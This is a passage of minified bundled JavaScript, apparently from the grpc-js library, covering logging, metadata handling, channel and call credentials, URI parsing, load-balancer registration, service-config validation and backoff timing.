test/*.ts",pretest:"npm run generate-types && npm run generate-test-types && npm run compile",posttest:"npm run check && madge -c ./build/src","generate-types":"proto-loader-gen-types --keepCase --longs String --enums String --defaults --oneofs --includeComments --includeDirs proto/ --include-dirs proto/ proto/xds/ proto/protoc-gen-validate/ -O src/generated/ --grpcLib ../index channelz.proto xds/service/orca/v3/orca.proto","generate-test-types":"proto-loader-gen-types --keepCase --longs String --enums String --defaults --oneofs --includeComments --include-dirs test/fixtures/ -O test/generated/ --grpcLib ../../src/index test_service.proto echo_service.proto","copy-protos":"node ./copy-protos"},dependencies:{"@grpc/proto-loader":"^0.8.0","@js-sdsl/ordered-map":"^4.4.2"},files:["src/**/*.ts","build/src/**/*.{js,d.ts,js.map}","proto/**/*.proto","proto/**/LICENSE","LICENSE","deps/envoy-api/envoy/api/v2/**/*.proto","deps/envoy-api/envoy/config/**/*.proto","deps/envoy-api/envoy/service/**/*.proto","deps/envoy-api/envoy/type/**/*.proto","deps/udpa/udpa/**/*.proto","deps/googleapis/google/api/*.proto","deps/googleapis/google/rpc/*.proto","deps/protoc-gen-validate/validate/**/*.proto"]}});var Lw=v((zU7)=>{var yE6,IE6,SE6,hE6;Object.defineProperty(zU7,"__esModule",{value:!0});zU7.log=zU7.setLoggerVerbosity=zU7.setLogger=zU7.getLogger=void 0;zU7.trace=e72;zU7.isTracerEnabled=YU7;var Yt=K9(),d72=CA("process"),c72=RE6().version,l72={error:(A,...K)=>{console.error("E "+A,...K)},info:(A,...K)=>{console.error("I "+A,...K)},debug:(A,...K)=>{console.error("D "+A,...K)}},i5A=l72,tDA=Yt.LogVerbosity.ERROR,i72=(IE6=(yE6=process.env.GRPC_NODE_VERBOSITY)!==null&&yE6!==void 0?yE6:process.env.GRPC_VERBOSITY)!==null&&IE6!==void 0?IE6:"";switch(i72.toUpperCase()){case"DEBUG":tDA=Yt.LogVerbosity.DEBUG;break;case"INFO":tDA=Yt.LogVerbosity.INFO;break;case"ERROR":tDA=Yt.LogVerbosity.ERROR;break;case"NONE":tDA=Yt.LogVerbosity.NONE;break;default:}var n72=()=>{return i5A};zU7.getLogger=n72;var r72=(A)=>{i5A=A};zU7.setLogger=r72;var o72=(A)=>{tDA=A};zU7.setLoggerVerbosity=o72;var a72=(A,...K)=>{let q;if(A>=tDA){switch(A){case Yt.LogVerbosity.DEBUG:q=i5A.debug;break;case Yt.LogVerbosity.INFO:q=i5A.info;break;case Yt.LogVerbosity.ERROR:q=i5A.error;break}if(!q)q=i5A.error;if(q)q.bind(i5A)(...K)}};zU7.log=a72;var s72=(hE6=(SE6=process.env.GRPC_NODE_TRACE)!==null&&SE6!==void 0?SE6:process.env.GRPC_TRACE)!==null&&hE6!==void 0?hE6:"",bE6=new Set,qU7=new Set;for(let A of s72.split(","))if(A.startsWith("-"))qU7.add(A.substring(1));else bE6.add(A);var t72=bE6.has("all");function e72(A,K,q){if(YU7(K))zU7.log(A,new Date().toISOString()+" | v"+c72+" "+d72.pid+" | "+K+" | "+q)}function YU7(A){return!qU7.has(A)&&(t72||bE6.has(A))}});var ND1=v((wU7)=>{Object.defineProperty(wU7,"__esModule",{value:!0});wU7.getErrorMessage=wK2;wU7.getErrorCode=HK2;function wK2(A){if(A instanceof Error)return A.message;else return String(A)}function HK2(A){if(typeof A==="object"&&A!==null&&"code"in A&&typeof A.code==="number")return A.code;else return null}});var UG=v((OU7)=>{Object.defineProperty(OU7,"__esModule",{value:!0});OU7.Metadata=void 0;var XK2=Lw(),$K2=K9(),_K2=ND1(),GK2=/^[:0-9a-z_.-]+$/,ZK2=/^[ -~]*$/;function WK2(A){return GK2.test(A)}function DK2(A){return ZK2.test(A)}function JU7(A){return A.endsWith("-bin")}function jK2(A){return!A.startsWith("grpc-")}function TD1(A){return A.toLowerCase()}function HU7(A,K){if(!WK2(A))throw Error('Metadata key "'+A+'" contains illegal characters');if(K!==null&&K!==void 0)if(JU7(A)){if(!Buffer.isBuffer(K))throw Error("keys that end with '-bin' must have Buffer values")}else{if(Buffer.isBuffer(K))throw Error("keys that don't end with '-bin' must have String values");if(!DK2(K))throw Error('Metadata string value "'+K+'" contains illegal characters')}}class vD1{constructor(A={}){this.internalRepr=new Map,this.opaqueData=new Map,this.options=A}set(A,K){A=TD1(A),HU7(A,K),this.internalRepr.set(A,[K])}add(A,K){A=TD1(A),HU7(A,K);let q=this.internalRepr.get(A);if(q===void 0)this.internalRepr.set(A,[K]);else q.push(K)}remove(A){A=TD1(A),this.internalRepr.delete(A)}get(A){return A=TD1(A),this.internalRepr.get(A)||[]}getMap(){let A={};for(let[K,q]of this.internalRepr)if(q.length>0){let Y=q[0];A[K]=Buffer.isBuffer(Y)?Buffer.from(Y):Y}return A}clone(){let A=new vD1(this.options),K=A.internalRepr;for(let[q,Y]of this.internalRepr){let z=Y.map((w)=>{if(Buffer.isBuffer(w))return Buffer.from(w);else return w});K.set(q,z)}return A}merge(A){for(let[K,q]of A.internalRepr){let Y=(this.internalRepr.get(K)||[]).concat(q);this.internalRepr.set(K,Y)}}setOptions(A){this.options=A}getOptions(){return this.options}toHttp2Headers(){let A={};for(let[K,q]of this.internalRepr){if(K.startsWith(":"))continue;A[K]=q.map(MK2)}return A}toJSON(){let A={};for(let[K,q]of this.internalRepr)A[K]=q;return A}setOpaque(A,K){this.opaqueData.set(A,K)}getOpaque(A){return this.opaqueData.get(A)}static fromHttp2Headers(A){let K=new vD1;for(let q of Object.keys(A)){if(q.charAt(0)===":")continue;let Y=A[q];try{if(JU7(q)){if(Array.isArray(Y))Y.forEach((z)=>{K.add(q,Buffer.from(z,"base64"))});else if(Y!==void 0)if(jK2(q))Y.split(",").forEach((z)=>{K.add(q,Buffer.from(z.trim(),"base64"))});else K.add(q,Buffer.from(Y,"base64"))}else if(Array.isArray(Y))Y.forEach((z)=>{K.add(q,z)});else if(Y!==void 0)K.add(q,Y)}catch(z){let w=`Failed to add metadata entry ${q}: ${Y}. ${(0,_K2.getErrorMessage)(z)}. For more information see https://github.com/grpc/grpc-node/issues/1173`;(0,XK2.log)($K2.LogVerbosity.ERROR,w)}}return K}}OU7.Metadata=vD1;var MK2=(A)=>{return Buffer.isBuffer(A)?A.toString("base64"):A}});var kD1=v(($U7)=>{Object.defineProperty($U7,"__esModule",{value:!0});$U7.CallCredentials=void 0;var uE6=UG();function PK2(A){return"getRequestHeaders"in A&&typeof A.getRequestHeaders==="function"}class eDA{static createFromMetadataGenerator(A){return new BE6(A)}static createFromGoogleCredential(A){return eDA.createFromMetadataGenerator((K,q)=>{let Y;if(PK2(A))Y=A.getRequestHeaders(K.service_url);else Y=new Promise((z,w)=>{A.getRequestMetadata(K.service_url,(H,J)=>{if(H){w(H);return}if(!J){w(Error("Headers not set by metadata plugin"));return}z(J)})});Y.then((z)=>{let w=new uE6.Metadata;for(let H of Object.keys(z))w.add(H,z[H]);q(null,w)},(z)=>{q(z)})})}static createEmpty(){return new mE6}}$U7.CallCredentials=eDA;class ED1 extends eDA{constructor(A){super();this.creds=A}async generateMetadata(A){let K=new uE6.Metadata,q=await Promise.all(this.creds.map((Y)=>Y.generateMetadata(A)));for(let Y of q)K.merge(Y);return K}compose(A){return new ED1(this.creds.concat([A]))}_equals(A){if(this===A)return!0;if(A instanceof ED1)return this.creds.every((K,q)=>K._equals(A.creds[q]));else return!1}}class BE6 extends eDA{constructor(A){super();this.metadataGenerator=A}generateMetadata(A){return new Promise((K,q)=>{this.metadataGenerator(A,(Y,z)=>{if(z!==void 0)K(z);else q(Y)})})}compose(A){return new ED1([this,A])}_equals(A){if(this===A)return!0;if(A instanceof BE6)return this.metadataGenerator===A.metadataGenerator;else return!1}}class mE6 extends eDA{generateMetadata(A){return Promise.resolve(new uE6.Metadata)}compose(A){return A}_equals(A){return A instanceof mE6}}});var FE6=v((ZU7)=>{Object.defineProperty(ZU7,"__esModule",{value:!0});ZU7.CIPHER_SUITES=void 0;ZU7.getDefaultRootsData=fK2;var VK2=CA("fs");ZU7.CIPHER_SUITES=process.env.GRPC_SSL_CIPHER_SUITES;var GU7=process.env.GRPC_DEFAULT_SSL_ROOTS_FILE_PATH,gE6=null;function fK2(){if(GU7){if(gE6===null)gE6=VK2.readFileSync(GU7);return gE6}return null}});var zP=v((jU7)=>{Object.defineProperty(jU7,"__esModule",{value:!0});jU7.parseUri=vK2;jU7.splitHostPort=EK2;jU7.combineHostPort=kK2;jU7.uriToString=CK2;var TK2=/^(?:([A-Za-z0-9+.-]+):)?(?:\/\/([^/]*)\/)?(.+)$/;function vK2(A){let K=TK2.exec(A);if(K===null)return null;return{scheme:K[1],authority:K[2],path:K[3]}}var DU7=/^\d+$/;function EK2(A){if(A.startsWith("[")){let K=A.indexOf("]");if(K===-1)return null;let q=A.substring(1,K);if(q.indexOf(":")===-1)return null;if(A.length>K+1)if(A[K+1]===":"){let Y=A.substring(K+2);if(DU7.test(Y))return{host:q,port:+Y};else return null}else return null;else return{host:q}}else{let K=A.split(":");if(K.length===2)if(DU7.test(K[1]))return{host:K[0],port:+K[1]};else return null;else return{host:A}}}function kK2(A){if(A.port===void 0)return A.host;else if(A.host.includes(":"))return`[${A.host}]:${A.port}`;else return`${A.host}:${A.port}`}function CK2(A){let K="";if(A.scheme!==void 0)K+=A.scheme+":";if(A.authority!==void 0)K+="//"+A.authority+"/";return K+=A.path,K}});var jS=v((MU7)=>{Object.defineProperty(MU7,"__esModule",{value:!0});MU7.CHANNEL_ARGS_CONFIG_SELECTOR_KEY=void 0;MU7.registerResolver=SK2;MU7.registerDefaultScheme=hK2;MU7.createResolver=bK2;MU7.getDefaultAuthority=xK2;MU7.mapUriDefaultScheme=uK2;var UE6=zP();MU7.CHANNEL_ARGS_CONFIG_SELECTOR_KEY="grpc.internal.config_selector";var AjA={},QE6=null;function SK2(A,K){AjA[A]=K}function hK2(A){QE6=A}function bK2(A,K,q){if(A.scheme!==void 0&&A.scheme in AjA)return new AjA[A.scheme](A,K,q);else throw Error(`No resolver could be created for target ${(0,UE6.uriToString)(A)}`)}function xK2(A){if(A.scheme!==void 0&&A.scheme in AjA)return AjA[A.scheme].getDefaultAuthority(A);else throw Error(`Invalid target ${(0,UE6.uriToString)(A)}`)}function uK2(A){if(A.scheme===void 0||!(A.scheme in AjA))if(QE6!==null)return{scheme:QE6,authority:void 0,path:(0,UE6.uriToString)(A)};else return null;return A}});var qjA=v((TU7)=>{Object.defineProperty(TU7,"__esModule",{value:!0});TU7.ChannelCredentials=void 0;TU7.createCertificateProviderChannelCredentials=cK2;var cgA=CA("tls"),RD1=kD1(),dE6=FE6(),VU7=zP(),UK2=jS(),pK2=Lw(),dK2=K9();function pE6(A,K){if(A&&!(A instanceof Buffer))throw TypeError(`${K}, if provided, must be a Buffer.`)}class KjA{compose(A){return new LD1(this,A)}static createSsl(A,K,q,Y){var z;if(pE6(A,"Root certificate"),pE6(K,"Private key"),pE6(q,"Certificate chain"),K&&!q)throw Error("Private key must be given with accompanying certificate chain");if(!K&&q)throw Error("Certificate chain must be given with accompanying private key");let w=(0,cgA.createSecureContext)({ca:(z=A!==null&&A!==void 0?A:(0,dE6.getDefaultRootsData)())!==null&&z!==void 0?z:void 0,key:K!==null&&K!==void 0?K:void 0,cert:q!==null&&q!==void 0?q:void 0,ciphers:dE6.CIPHER_SUITES});return new CD1(w,Y!==null&&Y!==void 0?Y:{})}static createFromSecureContext(A,K){return new CD1(A,K!==null&&K!==void 0?K:{})}static createInsecure(){return new cE6}}TU7.ChannelCredentials=KjA;class cE6 extends KjA{constructor(){super()}compose(A){throw Error("Cannot compose insecure credentials")}_isSecure(){return!1}_equals(A){return A instanceof cE6}_createSecureConnector(A,K,q){return{connect(Y){return Promise.resolve({socket:Y,secure:!1})},waitForReady:()=>{return Promise.resolve()},getCallCredentials:()=>{return q!==null&&q!==void 0?q:RD1.CallCredentials.createEmpty()},destroy(){}}}}function fU7(A,K,q,Y){var z,w;let H={secureContext:A},J=q;if("grpc.http_connect_target"in Y){let _=(0,VU7.parseUri)(Y["grpc.http_connect_target"]);if(_)J=_}let O=(0,UK2.getDefaultAuthority)(J),X=(0,VU7.splitHostPort)(O),$=(z=X===null||X===void 0?void 0:X.host)!==null&&z!==void 0?z:O;if(H.host=$,K.checkServerIdentity)H.checkServerIdentity=K.checkServerIdentity;if(K.rejectUnauthorized!==void 0)H.rejectUnauthorized=K.rejectUnauthorized;if(H.ALPNProtocols=["h2"],Y["grpc.ssl_target_name_override"]){let _=Y["grpc.ssl_target_name_override"],G=(w=H.checkServerIdentity)!==null&&w!==void 0?w:cgA.checkServerIdentity;H.checkServerIdentity=(Z,W)=>{return G(_,W)},H.servername=_}else H.servername=$;if(Y["grpc-node.tls_enable_trace"])H.enableTrace=!0;return H}class NU7{constructor(A,K){this.connectionOptions=A,this.callCredentials=K}connect(A){let K=Object.assign({socket:A},this.connectionOptions);return new Promise((q,Y)=>{let z=(0,cgA.connect)(K,()=>{var w;if(((w=this.connectionOptions.rejectUnauthorized)!==null&&w!==void 0?w:!0)&&!z.authorized){Y(z.authorizationError);return}q({socket:z,secure:!0})});z.on("error",(w)=>{Y(w)})})}waitForReady(){return Promise.resolve()}getCallCredentials(){return this.callCredentials}destroy(){}}class CD1 extends KjA{constructor(A,K){super();this.secureContext=A,this.verifyOptions=K}_isSecure(){return!0}_equals(A){if(this===A)return!0;if(A instanceof CD1)return this.secureContext===A.secureContext&&this.verifyOptions.checkServerIdentity===A.verifyOptions.checkServerIdentity;else return!1}_createSecureConnector(A,K,q){let Y=fU7(this.secureContext,this.verifyOptions,A,K);return new NU7(Y,q!==null&&q!==void 0?q:RD1.CallCredentials.createEmpty())}}class dgA extends KjA{constructor(A,K,q){super();this.caCertificateProvider=A,this.identityCertificateProvider=K,this.verifyOptions=q,this.refcount=0,this.latestCaUpdate=void 0,this.latestIdentityUpdate=void 0,this.caCertificateUpdateListener=this.handleCaCertificateUpdate.bind(this),this.identityCertificateUpdateListener=this.handleIdentityCertitificateUpdate.bind(this),this.secureContextWatchers=[]}_isSecure(){return!0}_equals(A){var K,q;if(this===A)return!0;if(A instanceof dgA)return this.caCertificateProvider===A.caCertificateProvider&&this.identityCertificateProvider===A.identityCertificateProvider&&((K=this.verifyOptions)===null||K===void 0?void 0:K.checkServerIdentity)===((q=A.verifyOptions)===null||q===void 0?void 0:q.checkServerIdentity);else return!1}ref(){var A;if(this.refcount===0)this.caCertificateProvider.addCaCertificateListener(this.caCertificateUpdateListener),(A=this.identityCertificateProvider)===null||A===void 0||A.addIdentityCertificateListener(this.identityCertificateUpdateListener);this.refcount+=1}unref(){var A;if(this.refcount-=1,this.refcount===0)this.caCertificateProvider.removeCaCertificateListener(this.caCertificateUpdateListener),(A=this.identityCertificateProvider)===null||A===void 0||A.removeIdentityCertificateListener(this.identityCertificateUpdateListener)}_createSecureConnector(A,K,q){return this.ref(),new dgA.SecureConnectorImpl(this,A,K,q!==null&&q!==void 0?q:RD1.CallCredentials.createEmpty())}maybeUpdateWatchers(){if(this.hasReceivedUpdates()){for(let A of this.secureContextWatchers)A(this.getLatestSecureContext());this.secureContextWatchers=[]}}handleCaCertificateUpdate(A){this.latestCaUpdate=A,this.maybeUpdateWatchers()}handleIdentityCertitificateUpdate(A){this.latestIdentityUpdate=A,this.maybeUpdateWatchers()}hasReceivedUpdates(){if(this.latestCaUpdate===void 0)return!1;if(this.identityCertificateProvider&&this.latestIdentityUpdate===void 0)return!1;return!0}getSecureContext(){if(this.hasReceivedUpdates())return Promise.resolve(this.getLatestSecureContext());else return new Promise((A)=>{this.secureContextWatchers.push(A)})}getLatestSecureContext(){var A,K;if(!this.latestCaUpdate)return null;if(this.identityCertificateProvider!==null&&!this.latestIdentityUpdate)return null;try{return(0,cgA.createSecureContext)({ca:this.latestCaUpdate.caCertificate,key:(A=this.latestIdentityUpdate)===null||A===void 0?void 0:A.privateKey,cert:(K=this.latestIdentityUpdate)===null||K===void 0?void 0:K.certificate,ciphers:dE6.CIPHER_SUITES})}catch(q){return(0,pK2.log)(dK2.LogVerbosity.ERROR,"Failed to createSecureContext with error "+q.message),null}}}dgA.SecureConnectorImpl=class{constructor(A,K,q,Y){this.parent=A,this.channelTarget=K,this.options=q,this.callCredentials=Y}connect(A){return new Promise((K,q)=>{let Y=this.parent.getLatestSecureContext();if(!Y){q(Error("Failed to load credentials"));return}if(A.closed)q(Error("Socket closed while loading credentials"));let z=fU7(Y,this.parent.verifyOptions,this.channelTarget,this.options),w=Object.assign({socket:A},z),H=()=>{q(Error("Socket closed"))},J=(X)=>{q(X)},O=(0,cgA.connect)(w,()=>{var X;if(O.removeListener("close",H),O.removeListener("error",J),((X=this.parent.verifyOptions.rejectUnauthorized)!==null&&X!==void 0?X:!0)&&!O.authorized){q(O.authorizationError);return}K({socket:O,secure:!0})});O.once("close",H),O.once("error",J)})}async waitForReady(){await this.parent.getSecureContext()}getCallCredentials(){return this.callCredentials}destroy(){this.parent.unref()}};function cK2(A,K,q){return new dgA(A,K,q!==null&&q!==void 0?q:{})}class LD1 extends KjA{constructor(A,K){super();if(this.channelCredentials=A,this.callCredentials=K,!A._isSecure())throw Error("Cannot compose insecure credentials")}compose(A){let K=this.callCredentials.compose(A);return new LD1(this.channelCredentials,K)}_isSecure(){return!0}_equals(A){if(this===A)return!0;if(A instanceof LD1)return this.channelCredentials._equals(A.channelCredentials)&&this.callCredentials._equals(A.callCredentials);else return!1}_createSecureConnector(A,K,q){let Y=this.callCredentials.compose(q!==null&&q!==void 0?q:RD1.CallCredentials.createEmpty());return this.channelCredentials._createSecureConnector(A,K,Y)}}});var wt=v((kU7)=>{Object.defineProperty(kU7,"__esModule",{value:!0});kU7.createChildChannelControlHelper=rK2;kU7.registerLoadBalancerType=oK2;kU7.registerDefaultLoadBalancerType=aK2;kU7.createLoadBalancer=sK2;kU7.isLoadBalancerNameRegistered=tK2;kU7.parseLoadBalancingConfig=EU7;kU7.getDefaultConfig=eK2;kU7.selectLbConfigFromList=Aq2;var iK2=Lw(),nK2=K9();function rK2(A,K){var q,Y,z,w,H,J,O,X,$,_;return{createSubchannel:(Y=(q=K.createSubchannel)===null||q===void 0?void 0:q.bind(K))!==null&&Y!==void 0?Y:A.createSubchannel.bind(A),updateState:(w=(z=K.updateState)===null||z===void 0?void 0:z.bind(K))!==null&&w!==void 0?w:A.updateState.bind(A),requestReresolution:(J=(H=K.requestReresolution)===null||H===void 0?void 0:H.bind(K))!==null&&J!==void 0?J:A.requestReresolution.bind(A),addChannelzChild:(X=(O=K.addChannelzChild)===null||O===void 0?void 0:O.bind(K))!==null&&X!==void 0?X:A.addChannelzChild.bind(A),removeChannelzChild:(_=($=K.removeChannelzChild)===null||$===void 0?void 0:$.bind(K))!==null&&_!==void 0?_:A.removeChannelzChild.bind(A)}}var zt={},lgA=null;function oK2(A,K,q){zt[A]={LoadBalancer:K,LoadBalancingConfig:q}}function aK2(A){lgA=A}function sK2(A,K){let q=A.getLoadBalancerName();if(q in zt)return new zt[q].LoadBalancer(K);else return null}function tK2(A){return A in zt}function EU7(A){let K=Object.keys(A);if(K.length!==1)throw Error("Provided load balancing config has multiple conflicting entries");let q=K[0];if(q in zt)try{return zt[q].LoadBalancingConfig.createFromJson(A[q])}catch(Y){throw Error(`${q}: ${Y.message}`)}else throw Error(`Unrecognized load balancing config name ${q}`)}function eK2(){if(!lgA)throw Error("No default load balancer type registered");return new zt[lgA].LoadBalancingConfig}function Aq2(A,K=!1){for(let q of A)try{return EU7(q)}catch(Y){(0,iK2.log)(nK2.LogVerbosity.DEBUG,"Config parsing failed with error",Y.message);continue}if(K)if(lgA)return new zt[lgA].LoadBalancingConfig;else return null;else return null}});var lE6=v((RU7)=>{Object.defineProperty(RU7,"__esModule",{value:!0});RU7.validateRetryThrottling=CU7;RU7.validateServiceConfig=LU7;RU7.extractAndSelectServiceConfig=Pq2;var Xq2=CA("os"),yD1=K9(),ID1=/^\d+(\.\d{1,9})?s$/,$q2="node";function _q2(A){if("service"in A&&A.service!==""){if(typeof A.service!=="string")throw Error(`Invalid method config name: invalid service: expected type string, got ${typeof A.service}`);if("method"in A&&A.method!==""){if(typeof A.method!=="string")throw Error(`Invalid method config name: invalid method: expected type string, got ${typeof A.service}`);return{service:A.service,method:A.method}}else return{service:A.service}}else{if("method"in A&&A.method!==void 0)throw Error("Invalid method config name: method set with empty or unset service");return{}}}function Gq2(A){if(!("maxAttempts"in A)||!Number.isInteger(A.maxAttempts)||A.maxAttempts<2)throw Error("Invalid method config retry policy: maxAttempts must be an integer at least 2");if(!("initialBackoff"in A)||typeof A.initialBackoff!=="string"||!ID1.test(A.initialBackoff))throw Error("Invalid method config retry policy: initialBackoff must be a string consisting of a positive integer or decimal followed by s");if(!("maxBackoff"in A)||typeof A.maxBackoff!=="string"||!ID1.test(A.maxBackoff))throw Error("Invalid method config retry policy: maxBackoff must be a string consisting of a positive integer or decimal followed by s");if(!("backoffMultiplier"in A)||typeof A.backoffMultiplier!=="number"||A.backoffMultiplier<=0)throw Error("Invalid method config retry policy: backoffMultiplier must be a number greater than 0");if(!(("retryableStatusCodes"in A)&&Array.isArray(A.retryableStatusCodes)))throw Error("Invalid method config retry policy: retryableStatusCodes is required");if(A.retryableStatusCodes.length===0)throw Error("Invalid method config retry policy: retryableStatusCodes must be non-empty");for(let K of A.retryableStatusCodes)if(typeof K==="number"){if(!Object.values(yD1.Status).includes(K))throw Error("Invalid method config retry policy: retryableStatusCodes value not in status code range")}else if(typeof K==="string"){if(!Object.values(yD1.Status).includes(K.toUpperCase()))throw Error("Invalid method config retry policy: retryableStatusCodes value not a status code name")}else throw Error("Invalid method config retry policy: retryableStatusCodes value must be a string or number");return{maxAttempts:A.maxAttempts,initialBackoff:A.initialBackoff,maxBackoff:A.maxBackoff,backoffMultiplier:A.backoffMultiplier,retryableStatusCodes:A.retryableStatusCodes}}function Zq2(A){if(!("maxAttempts"in A)||!Number.isInteger(A.maxAttempts)||A.maxAttempts<2)throw Error("Invalid method config hedging policy: maxAttempts must be an integer at least 2");if("hedgingDelay"in A&&(typeof A.hedgingDelay!=="string"||!ID1.test(A.hedgingDelay)))throw Error("Invalid method config hedging policy: hedgingDelay must be a string consisting of a positive integer followed by s");if("nonFatalStatusCodes"in A&&Array.isArray(A.nonFatalStatusCodes))for(let q of A.nonFatalStatusCodes)if(typeof q==="number"){if(!Object.values(yD1.Status).includes(q))throw Error("Invalid method config hedging policy: nonFatalStatusCodes value not in status code range")}else if(typeof q==="string"){if(!Object.values(yD1.Status).includes(q.toUpperCase()))throw Error("Invalid method config hedging policy: nonFatalStatusCodes value not a status code name")}else throw Error("Invalid method config hedging policy: nonFatalStatusCodes value must be a string or number");let K={maxAttempts:A.maxAttempts};if(A.hedgingDelay)K.hedgingDelay=A.hedgingDelay;if(A.nonFatalStatusCodes)K.nonFatalStatusCodes=A.nonFatalStatusCodes;return K}function Wq2(A){var K;let q={name:[]};if(!("name"in A)||!Array.isArray(A.name))throw Error("Invalid method config: invalid name array");for(let Y of A.name)q.name.push(_q2(Y));if("waitForReady"in A){if(typeof A.waitForReady!=="boolean")throw Error("Invalid method config: invalid waitForReady");q.waitForReady=A.waitForReady}if("timeout"in A)if(typeof A.timeout==="object"){if(!("seconds"in A.timeout)||typeof A.timeout.seconds!=="number")throw Error("Invalid method config: invalid timeout.seconds");if(!("nanos"in A.timeout)||typeof A.timeout.nanos!=="number")throw Error("Invalid method config: invalid timeout.nanos");q.timeout=A.timeout}else if(typeof A.timeout==="string"&&ID1.test(A.timeout)){let Y=A.timeout.substring(0,A.timeout.length-1).split(".");q.timeout={seconds:Y[0]|0,nanos:((K=Y[1])!==null&&K!==void 0?K:0)|0}}else throw Error("Invalid method config: invalid timeout");if("maxRequestBytes"in A){if(typeof A.maxRequestBytes!=="number")throw Error("Invalid method config: invalid maxRequestBytes");q.maxRequestBytes=A.maxRequestBytes}if("maxResponseBytes"in A){if(typeof A.maxResponseBytes!=="number")throw Error("Invalid method config: invalid maxRequestBytes");q.maxResponseBytes=A.maxResponseBytes}if("retryPolicy"in A)if("hedgingPolicy"in A)throw Error("Invalid method config: retryPolicy and hedgingPolicy cannot both be specified");else q.retryPolicy=Gq2(A.retryPolicy);else if("hedgingPolicy"in A)q.hedgingPolicy=Zq2(A.hedgingPolicy);return q}function CU7(A){if(!("maxTokens"in A)||typeof A.maxTokens!=="number"||A.maxTokens<=0||A.maxTokens>1000)throw Error("Invalid retryThrottling: maxTokens must be a number in (0, 1000]");if(!("tokenRatio"in A)||typeof A.tokenRatio!=="number"||A.tokenRatio<=0)throw Error("Invalid retryThrottling: tokenRatio must be a number greater than 0");return{maxTokens:+A.maxTokens.toFixed(3),tokenRatio:+A.tokenRatio.toFixed(3)}}function Dq2(A){if(!(typeof A==="object"&&A!==null))throw Error(`Invalid loadBalancingConfig: unexpected type ${typeof A}`);let K=Object.keys(A);if(K.length>1)throw Error(`Invalid loadBalancingConfig: unexpected multiple keys ${K}`);if(K.length===0)throw Error("Invalid loadBalancingConfig: load balancing policy name required");return{[K[0]]:A[K[0]]}}function LU7(A){let K={loadBalancingConfig:[],methodConfig:[]};if("loadBalancingPolicy"in A)if(typeof A.loadBalancingPolicy==="string")K.loadBalancingPolicy=A.loadBalancingPolicy;else throw Error("Invalid service config: invalid loadBalancingPolicy");if("loadBalancingConfig"in A)if(Array.isArray(A.loadBalancingConfig))for(let Y of A.loadBalancingConfig)K.loadBalancingConfig.push(Dq2(Y));else throw Error("Invalid service config: invalid loadBalancingConfig");if("methodConfig"in A){if(Array.isArray(A.methodConfig))for(let Y of A.methodConfig)K.methodConfig.push(Wq2(Y))}if("retryThrottling"in A)K.retryThrottling=CU7(A.retryThrottling);let q=[];for(let Y of K.methodConfig)for(let z of Y.name){for(let w of q)if(z.service===w.service&&z.method===w.method)throw Error(`Invalid service config: duplicate name ${z.service}/${z.method}`);q.push(z)}return K}function jq2(A){if(!("serviceConfig"in A))throw Error("Invalid service config choice: missing service config");let K={serviceConfig:LU7(A.serviceConfig)};if("clientLanguage"in A)if(Array.isArray(A.clientLanguage)){K.clientLanguage=[];for(let Y of A.clientLanguage)if(typeof Y==="string")K.clientLanguage.push(Y);else throw Error("Invalid service config choice: invalid clientLanguage")}else throw Error("Invalid service config choice: invalid clientLanguage");if("clientHostname"in A)if(Array.isArray(A.clientHostname)){K.clientHostname=[];for(let Y of A.clientHostname)if(typeof Y==="string")K.clientHostname.push(Y);else throw Error("Invalid service config choice: invalid clientHostname")}else throw Error("Invalid service config choice: invalid clientHostname");if("percentage"in A)if(typeof A.percentage==="number"&&0<=A.percentage&&A.percentage<=100)K.percentage=A.percentage;else throw Error("Invalid service config choice: invalid percentage");let q=["clientLanguage","percentage","clientHostname","serviceConfig"];for(let Y in A)if(!q.includes(Y))throw Error(`Invalid service config choice: unexpected field ${Y}`);return K}function Mq2(A,K){if(!Array.isArray(A))throw Error("Invalid service config list");for(let q of A){let Y=jq2(q);if(typeof Y.percentage==="number"&&K>Y.percentage)continue;if(Array.isArray(Y.clientHostname)){let z=!1;for(let w of Y.clientHostname)if(w===Xq2.hostname())z=!0;if(!z)continue}if(Array.isArray(Y.clientLanguage)){let z=!1;for(let w of Y.clientLanguage)if(w===$q2)z=!0;if(!z)continue}return Y.serviceConfig}throw Error("No matching service config found")}function Pq2(A,K){for(let q of A)if(q.length>0&&q[0].startsWith("grpc_config=")){let Y=q.join("").substring(12),z=JSON.parse(Y);return Mq2(z,K)}return null}});var wP=v((IU7)=>{Object.defineProperty(IU7,"__esModule",{value:!0});IU7.ConnectivityState=void 0;var yU7;(function(A){A[A.IDLE=0]="IDLE",A[A.CONNECTING=1]="CONNECTING",A[A.READY=2]="READY",A[A.TRANSIENT_FAILURE=3]="TRANSIENT_FAILURE",A[A.SHUTDOWN=4]="SHUTDOWN"})(yU7||(IU7.ConnectivityState=yU7={}))});var tp=v((xU7)=>{Object.defineProperty(xU7,"__esModule",{value:!0});xU7.QueuePicker=xU7.UnavailablePicker=xU7.PickResultType=void 0;var Tq2=UG(),vq2=K9(),SD1;(function(A){A[A.COMPLETE=0]="COMPLETE",A[A.QUEUE=1]="QUEUE",A[A.TRANSIENT_FAILURE=2]="TRANSIENT_FAILURE",A[A.DROP=3]="DROP"})(SD1||(xU7.PickResultType=SD1={}));class hU7{constructor(A){this.status=Object.assign({code:vq2.Status.UNAVAILABLE,details:"No connection established",metadata:new Tq2.Metadata},A)}pick(A){return{pickResultType:SD1.TRANSIENT_FAILURE,subchannel:null,status:this.status,onCallStarted:null,onCallEnded:null}}}xU7.UnavailablePicker=hU7;class bU7{constructor(A,K){this.loadBalancer=A,this.childPicker=K,this.calledExitIdle=!1}pick(A){if(!this.calledExitIdle)process.nextTick(()=>{this.loadBalancer.exitIdle()}),this.calledExitIdle=!0;if(this.childPicker)return this.childPicker.pick(A);else return{pickResultType:SD1.QUEUE,subchannel:null,status:null,onCallStarted:null,onCallEnded:null}}}xU7.QueuePicker=bU7});var YjA=v((BU7)=>{Object.defineProperty(BU7,"__esModule",{value:!0});BU7.BackoffTimeout=void 0;var Cq2=K9(),Lq2=Lw(),Rq2="backoff",yq2=1000,Iq2=1.6,Sq2=120000,hq2=0.2;function bq2(A,K){return Math.random()*(K-A)+A}class hD1{constructor(A,K){if(this.callback=A,this.initialDelay=yq2,this.multiplier=Iq2,this.maxDelay=Sq2,this.jitter=hq2,this.running=!1,this.hasRef=!0,this.startTime=new Date,this.endTime=new Date,this.id=hD1.getNextId(),K){if(K.initialDelay)this.initialDelay=K.initialDelay;if(K.multiplier)this.multiplier=K.multiplier;if(K.jitter)this.jitter=K.jitter;if(K.maxDelay)this.maxDelay=K.maxDelay}this.trace("constructed initialDelay="+this.initialDelay+" 